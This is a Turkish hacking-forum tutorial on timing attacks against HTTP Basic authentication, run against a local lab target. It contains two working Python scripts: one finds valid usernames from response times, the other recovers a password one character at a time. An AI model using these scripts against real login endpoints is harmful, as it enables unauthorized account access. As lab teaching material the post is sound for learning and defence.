http auth timing attack exploit

yuathay

Katılımcı Üye
7 Mar 2023
377
180
Gitti

Selamun Aleyküm​


bu açığın ne olduğunu burada anlatmayacam onceki konumda anlatmıştım buradan bakabilirsiniz :​


http-auth-timing-attack-nedir


sitemize bakalım öncelikle​


ig5u2ra.png


normalde siteye kullanıcı adı password gönderirken requests(site,data=) ile bu işlemi yapabilirdik ama bu örnekte site bize bir pop up veya alert ile bizden bu değerleri istemiş, id name xpath değerleride yok bize verilen input'un, ve bu benim daha önceden rastlamadıgım bir durumdu ve bende burp suite ile benim siteye girdiğim değerler nasıl gidiyormuş önce buna baktım​

r7zns09.png

gördüğünüz gibi authorization: Basic olarak gidiyormuş bunu araştırdığımda from requests.auth import HTTPBasicAuth​

adında bir kütüphane buldum şimdi kullanıcı adı ve şifremizi bu kütüphane ile siteye gönderebiliriz​

öncelikle sitedeki kullanıcıları bulmak için şu kodu yazalım :​


7pnw5st.png

çıktımız :​

tciy35o.png


görebileceginiz gibi hacker adlı kullanıcı adının cevabı diğerlerinden farklı bir sürede geldi çünkü hacker adlı kullanıcı adı sitede kayıtlıydı​

ben hacker adını ve şifreyi gönderdiğimde site benim gonderdigim şifreyi hacker adının gerçek şifresi ile karşılaştırdı ve buda siteden gelen cevabın süresinin artmasına yol açtı​

ve süre arttıgı icin kullanıcı adının mevcut olduğunu anladık​

peki 0 ile başlayan diğer değerler ne ?​

onlarda sitede mevcut olmayan kullanıcı adları kullanıcı adı mevcut olmadıgı icin şifreyi kontrol etmesine gerek kalmadı bu durumda siteden gelen cevabın gelme süreside artmadı​

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

kullanıcı adını bulduk şimdide kullanıcı adının şifresini aynı yöntem ile bulmaya çalışcaz tabiki bu daha zor olacak​


r97yqfk.png


burada anlamanız gereken bir olay var bulunan adında bir değişken var biz siteye şifreleri tek tek göndericez ve en uzun zamana sahip olanı bulunan adlı değişkene ekliycez sonra döngü bidaha dönecek 2.index'e geçtikten sonra bu işlem yeniden gerçekleşecek ve gelen_giden_zamanı_bul fonksiyonu şöyle bir değer alacak p4q -> p4w ->p4e -> olarak devam edecek ardından buradan gelen en büyük sürede yeniden bulunan adlı değişkene eklenecek --bu arada bulunan değişkenine fark edebileceğiniz gibi b[-1] dedim bunu yapmamın nedeni eğer direk bulunan += b deseydim önceki buldugu şifreleri birdaha ekleyecekti ve saçma bir döngüye girecekti bu yuzden her seferinde son elemanı ekledim​


dyki3sb.png


çıktılar :
g0s5bah.png

////////////////////////////////////////////////////

iwdwr1q.png

///////////////////////////////////////////////////

a49f0w8.png

//////////////////////////////////////////////
l3bylnc.png

//////////////////////////////////
rekcood.png

////////////////////////////////////
e8hoio5.png

////////////////////////////////////
14vkded.png

/////////////////////////////////
a7ev7in.png


bu açığın exploitini yazma ile ilgili bir video paylaştım izlemek isteyen varsa :​


youtube


sitedeki kullanıcıyı bulmak​

kodlar :​


Python:
import requests
from requests.auth import HTTPBasicAuth
import time

site = "http://192.168.1.41/authentication/example2/"
#site alert ile kullanıcı adı ve şifre istedigi icin requests ile bilindik bir işlem yapamıyoruz
#burp suite ile giden değerlere baktım ve şöyle birşey gördüm :
# Authorization: Basic
# siteye kullanıcı adımızı ve şifremizi gondermek icin from requests.auth import HTTPBasicAuth kütüphanesini kullanıcaz

kullancı = ["ahmet","ayse","hacker","fatma","user","sari cizmeli mehmet aga"] #sitede sadece hacker ifadesi kayıtlı diğer isimler kayıtlı değil

şifre = "sifre" # şifrenin bir onemi yok rastgele girilebilir

for i in kullancı:    
   
    auth = HTTPBasicAuth(i,şifre) #ad ve şifreyi girdim bu değerler Authorization: Basic kısmına gidecek
   
    başlangıc = time.time() #***zamanı başlatıyorum***
    response = requests.get(site,auth=auth) #burada get dememizin nedeni burpsuite ile baktım get ile işlem yapılmış
    bitiş = time.time() #***zamanı bitiriyorum*** başlangıc ve bitiş arasındaki süre kullanıcı adının ve şifrenin gönderildiği ve cevap alındıgı süredir
    süre = bitiş-başlangıc
    print(f"{i} : {süre}") #kullanıcı adının kontrol edilme süresi ve kullanıcı adı
   
#görebileceginiz gibi hacker ifadesinin cevabı diğerlerinden farklı bir değerde geldi çünkü hacker ifadesi sitede kayıtlıydı
#ben hacker adını ve şifreyi gönderdiğimde site benim gonderdigim şifreyi hacker adının gerçek şifresi ile karşılaştırdı ve buda siteden gelen cevabın süresinin artmasına yol açtı
#ve süre arttıgı icin kullanıcı adının mevcut olduğunu anladık
#peki 0 ile başlayan diğer değerler ne ?
#onlarda sitede mevcut olmayan kullanıcı adları kullanıcı adı mevcut olmadıgı icin şifreyi kontrol etmesine gerek kalmadı bu durumda siteden gelen cevabın gelme süreside artmadı


kullanıcının şifresini bulma​

kodlar :​

Python:
import requests
from requests.auth import HTTPBasicAuth
import time

site = "http://192.168.1.41/authentication/example2/"
kullancı = "hacker"

şifre = "qwertyuopasdfghjklizxcvbnmöç1234567890" #deneyecegimiz şifreler

sözlük = {}
sayılar = []
bulunan = ""
en_uzun_zaman = [0.0] # süreleri karşılaştırma yapacagımız liste

def gelen_giden_zamanı_bul(tahmin): #şifreyi giricez tahmin yazan yere

    auth = HTTPBasicAuth(kullancı,tahmin)
   
    başlangıc = time.time() #zamanı başlatıyoruz
    requests.get(site,auth=auth) # kullanıcı adını ve şifreyi gönderiyoruz
    bitiş = time.time() #zamanı durduruyoruz
    süre = bitiş-başlangıc #başlangıç ve bitiş arasındaki gönderdiğimiz değerler ne kadar sürede bize geri döndü
   
    sözlük[süre] = tahmin # sonradan bu değerler ile daha iyi etkileşim kurabilmek icin sözlüğe alıyorum
   
    print(f"{tahmin} : {süre}") # şifre : şifrenin gidiş geliş süresi olarak yazdırıyorum
   
    if float(süre) > float(en_uzun_zaman[0]): #eğer süre listedeki elemandan büyükse
        en_uzun_zaman.clear() #listeyi komple siliyoruz
        en_uzun_zaman.append(float(süre)) #listeye süre'yi ekliyoruz
   
while True:
    for q in range(len(şifre)):
        gelen_giden_zamanı_bul(f"{bulunan}{şifre[q]}") #bulunan adlı değişken ilk indexde boş olacak ardından o anki indexdeki bulunan şifreyi
        #bulunan adlı değişkene ekliycez
       
        if q == len(şifre)-1: #şifredeki bütün değerler teker teker denendiyse
           
            zaman = en_uzun_zaman[0] # en büyük zamanı alıyoruz
            b = str(sözlük[zaman]) #sözlük[zaman] diyerek sözlüğün zaman değeri sayesinde şifrenin değerine ulaşıyorum
            bulunan += b[-1] #bulunan şifrenin son değerini bulunan adlı değişkene atıyorum
           
            print("*********")
            print("bulunanlar :")
            print(sözlük[zaman])
            print("***********")
            print("şifrenin gitme gelme zamanı :")
            print(en_uzun_zaman[0])
           
            en_uzun_zaman = [0.0] #yukarıda karşılaştırma yapılırken bir karışıklık çıkmaması acısından yeniden listeyi eski halıne getiriyorum
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.